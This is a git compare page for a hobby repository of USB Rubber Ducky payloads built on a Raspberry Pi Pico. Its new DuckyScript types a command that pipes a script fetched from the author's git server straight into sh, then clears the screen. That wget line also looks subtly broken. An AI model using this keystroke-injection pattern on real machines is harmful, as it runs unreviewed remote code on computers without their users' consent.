Compare commits

...

2 commits

Author SHA1 Message Date
♥ Minnie ♥ cbef4b08c2
update README.md 2025-01-04 00:04:48 +08:00
♥ Minnie ♥ 010484305d
improve bootstrap process 2025-01-04 00:04:22 +08:00
4 changed files with 13 additions and 28 deletions

View file

@ -1,10 +1,10 @@
# Duck Payloads
# Ducky Payloads
Create USB Rubber Ducky with Raspberry Pi Pico using [pico-ducky](https://github.com/dbisu/pico-ducky)
Bootstrap your scripts with payload.dd
Bootstrap your shell scripts with duckyscript.
```sh
# To generate a payload.dd replace hello_world.sh with scripts name.
# To generate payload.dd replace hello_world.sh with scripts name.
./install.sh hello_world.sh
```

9
bootstrap.dd Normal file
View file

@ -0,0 +1,9 @@
REM TITLE Bootstrapper
REM AUTHOR Sajenim
REM DESCRIPTION Fetch and execute shell script from remote repository
REM VERSION 1.0
DELAY 200
STRING wget -qO https://git.sajenim.dev/jasmine/ducky-payloads/raw/branch/master/bin/hello_world.sh | sh && clear
ENTER

View file

@ -1,24 +0,0 @@
REM TITLE Bash Bootstrapper
REM AUTHOR Sajenim
REM DESCRIPTION Fetch and execute a script from remote repository
REM VERSION 1.0
DELAY 200
STRING wget -q https://git.sajenim.dev/jasmine/ducky-payloads/raw/branch/master/bin/hello_world.sh
ENTER
DELAY 200
STRING chmod +x hello_world.sh
ENTER
DELAY 200
STRING ./hello_world.sh
ENTER
DELAY 200
STRING rm hello_world.sh
ENTER
DELAY 200
STRING clear
ENTER

View file

@ -1,3 +1,3 @@
#!/bin/sh
sed s/hello_world.sh/$1/g example.dd > payload.dd
sed s/hello_world.sh/$1/g bootstrap.dd > payload.dd